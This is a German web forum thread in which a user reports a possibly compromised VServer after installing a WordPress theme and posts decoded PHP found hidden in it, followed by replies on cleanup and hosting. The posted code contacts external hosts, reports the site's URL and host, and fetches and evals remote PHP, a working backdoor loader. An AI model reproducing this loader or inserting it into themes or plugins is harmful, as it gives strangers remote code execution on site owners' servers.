BLog gehackt? Vserver übernommen??

    Hallo,

    Also ich habe vor 2-3 Tagen einen Blog für meine Frau erstellt.
    Und ihr das Design

    VsPink 1 von Ankur Savai

    http://themeviewer.com/images/vspink-1.gif

    installiert...

    Nun, habe ich vorhin festgestellt, das ich nicht mehr auf meinen Vserver komme. Die login seite ist weg.

    Natürlich dachte ich ersteinmal an wartungsarbeiten bezüglich des hosters. Und habe ein Support ticket geschrieben.

    Dann hatte ich angefangen das Theme von Englisch auf Deutsch umzuschreiben, und fand diesen base64 geschüzten Code...

    Das machte mich stutzig, und ich hab diesen Code mal online encoden lassen...

    PHP
    if($R37C014DAE5FE4FE5C77B6735ABC30916 = @fsockopen("www.wpssr.com", 80, $R32D00070D4FFBCCE2FC669BBA812D4C2, $R5F525F5B398DADD7CF0784BD406298E3, 3)) $R50F5F9C80F12FFAE8B2400528E81B34E = "wpssr"; elseif($R37C014DAE5FE4FE5C77B6735ABC30916 = @fsockopen("www.wpsnc.com", 80, $R32D00070D4FFBCCE2FC669BBA812D4C2, $R5F525F5B398DADD7CF0784BD406298E3, 3)) $R50F5F9C80F12FFAE8B2400528E81B34E = "wpsnc"; else $R50F5F9C80F12FFAE8B2400528E81B34E = "wpsnc2"; @eval('$R14AF1BE9EE26A90921E64A82E7836797 = 1;'); if($R14AF1BE9EE26A90921E64A82E7836797 AND ini_get('allow_url_fopen')) {  $RD3FE9C10A808A54EA2A3DBD9E605B696 = "1";  $R6E4F14B335243BE656C65E3ED9E1B115 = "http://www.$R50F5F9C80F12FFAE8B2400528E81B34E.com/w$RD3FE9C10A808A54EA2A3DBD9E605B696.php?url=". urlencode($_SERVER['REQUEST_URI']) ."&". "host=". urlencode($_SERVER['HTTP_HOST']);  $R3E33E017CD76B9B7E6C7364FB91E2E90 = @file_get_contents($R6E4F14B335243BE656C65E3ED9E1B115);  @eval($R3E33E017CD76B9B7E6C7364FB91E2E90); } else {  $RD3FE9C10A808A54EA2A3DBD9E605B696 = "0";  $R6E4F14B335243BE656C65E3ED9E1B115 = "http://www.$R50F5F9C80F12FFAE8B2400528E81B34E.com/w$RD3FE9C10A808A54EA2A3DBD9E605B696.php?url=". urlencode($_SERVER['REQUEST_URI']) ."&". "host=". urlencode($_SERVER['HTTP_HOST']);  @readfile($R6E4F14B335243BE656C65E3ED9E1B115); } fclose($R37C014DAE5FE4FE5C77B6735ABC30916);

    Da ich ein wenig mit PHP zu tun habe, war ich über den teil des Codes

    PHP
    @fsockopen("www.wpssr.com",

    sehr erschrocken. Zuerst dachte ich an ein callback funktion, um das copyright zu schützen... (kann ja durchaus sein)

    Natürlich habe ich diesen Codeteil sofort entfernt.. aber wieviel schaden ist vllt entstanden?


    Also googelte ich nach "Worpress themes callback" und nach "http://www.wpssr.com" und gelang in diesen Thread hier.

    Nun habe ich ein wenig angst, das die meinen Vserver übernommen haben...
    Kann dies sein??

    Denn wie gesagt, ich kann Plesk nicht mehr aufrufen.


    Also mit Putty und WinSCP komme ich noch immer auf den server

    • Gerade eben
    • Anzeige

    Hallo!

    Wenn du gerade an deiner Website arbeitest oder dein aktuelles Hosting überdenkst: Wir betreiben mit NetzLiving eine Hosting-Plattform, die speziell auf Performance, Sicherheit und einfache Verwaltung ausgelegt ist.

    • ✔️ Schnelle Ladezeiten (optimiert für WordPress & Co.)
    • ✔️ Deutsche Server & DSGVO-konform
    • ✔️ Persönlicher Support (kein 0815-Ticket-System)

    Mehr erfahren

    Da ich im anderen Thread die Nachlade-Routinen schon vor längerer Zeit fand und es immer wieder korrupierte Themes zum Download irgendwo gibt, kann man nicht genau sagen, was alles bereits gelaufen ist.
    Einige diese "Nachlader" haben eine in PHP geschriebene Root-Administration nachgeladen, mit der man Defakto alle machen kann, wenn es ein V- oder Root-Server ist.
    Ich würde empfehlen, den Hoster anzumailen und bitten, die Machine zu checken. WordPress würde ich komplett löschen und neu aufspielen in 2.7 wenn das geht. Mit den Plugins und ggf. Themes würde ich auch so verfahren, bitte ein sauberes Theme nehmen.
    Vielleicht gibt auch der Hoster noch Hinweise.

    Ergänzung: Ein Backup der Datenbank würde ich vorher ziehen und dieses in einem geigneten Texteditor per Hand nach verdächtigen Sachen wie inplace Javascripts, und "blaue Pillen Links" durchsuchen.

    Zitat von codestyling

    WordPress würde ich komplett löschen und neu aufspielen in 2.7 wenn das geht.

    wp2.7 ist zur zeit noch installiert...

    Zitat von codestyling

    Ergänzung: Ein Backup der Datenbank würde ich vorher ziehen und dieses in einem geigneten Texteditor per Hand nach verdächtigen Sachen wie inplace Javascripts, und "blaue Pillen Links" durchsuchen.


    jut jut, backup meiner wichtigen PHP scripts habe ich soweit gemacht, nur wie gesagt, da ich in plesk nicht reinkomme, kann ich leider kein Datenbank backup machen.
    Einträge in den blog gab es noch keine... war erst in der "aufbau"phase.

    Naja, schade, das auch google nicht viel anzeigen kann... irgendwie spalten sich die meinungen.. die einem meinen "zum prüfen des copyrights" andere wiederum meinen "hoch gefährlich"...

    Werd dem Hoster bescheidgeben...

    Und klar, ich werde ab nun alle Themes durchsuchen, mein anderen Blog hab ich danach das theme auch sofort durchsucht, scheint aber clean... ;)

    Für den Anfang sollte man sich nicht von den Preisen eines billigen VServers verlocken lassen sondern stattdessen zu einem günstigen "managed Hostings" aka Webhosting-Packet greifen. Gibts sicherlich ab 2,3 Euro den Monat.

    Es gibt seriöse Anbieter die einen sogar noch drauf hinweisen, wenn die Wordpress Version veraltet ist, z.B. Host Europe. Das kostet auch kaum mehr als der Vserver und man muss sich nicht mit der Konfiguration eines Servers rumschlagen.

    Okay, Du hast keine X^2 GB Speicherplatz, aber wer braucht die beim Blog?

    Zur Bewertung: Eine Theme muss zu keinerlei Zwecken Kontakt zu einer Remote-Adresse aufnehmen. Dies stellt auch keinen "Schutz" dar, schon gar nicht dem "Schutz eines Copyrights". Im Gegenteil, es deutet eher darauf hin, das sowohl der Produzent einer solchen Theme, als auch der "Dumme User" (Newbie oder Noob), der eine solche Theme einsetzt, keine Ahnung hat und sich folglich ins Bockshorn jagen lässt.

    Löschen und was ordentliches Suchen.

    Zitat von hakre

    Für den Anfang sollte man sich nicht von den Preisen eines billigen VServers verlocken lassen sondern stattdessen zu einem günstigen "managed Hostings" aka Webhosting-Packet greifen. Gibts sicherlich ab 2,3 Euro den Monat.

    Es gibt seriöse Anbieter die einen sogar noch drauf hinweisen, wenn die Wordpress Version veraltet ist, z.B. Host Europe. Das kostet auch kaum mehr als der Vserver und man muss sich nicht mit der Konfiguration eines Servers rumschlagen.

    Okay, Du hast keine X^2 GB Speicherplatz, aber wer braucht die beim Blog?


    Ähm... wie kannst du so urteilen, und mich als kleinen noob hinstellen, der mal eben weils günstig ist sich nen vserver gemietet hat...? weisst du was ich mit dem vserver mache? nein! Wenn ich nur webspace bräuchte, hätte ich nur webspace gemietet.
    Ich arbeite mit php und entwickel selber scripte und erweiterungen...

    Ich nutze mehrere domains und wenn ich für jede domain einen webspace gemietet hätte, wäre dieses teurer...

    Und das schliesst du daraus, das ich gesagt habe, ich habe meiner frau einen blog eingerichtet??


    Ich habe lediglich eine frage zu dem thema gestellt, weil ich wissen wollte, ob es erfahrungen gibt, die mir aufschluss geben können, ob der code bösartig ist oder nicht.

    Ich wusste bis dato nicht einmal das es solche themes gibt, da ich bisher nie Wordpress installiert hatte!

Jetzt mitmachen!

Sie haben noch kein Benutzerkonto auf unserer Seite? Registrieren Sie sich kostenlos und nehmen Sie an unserer Community teil!

Benutzerkonto erstellen Anmelden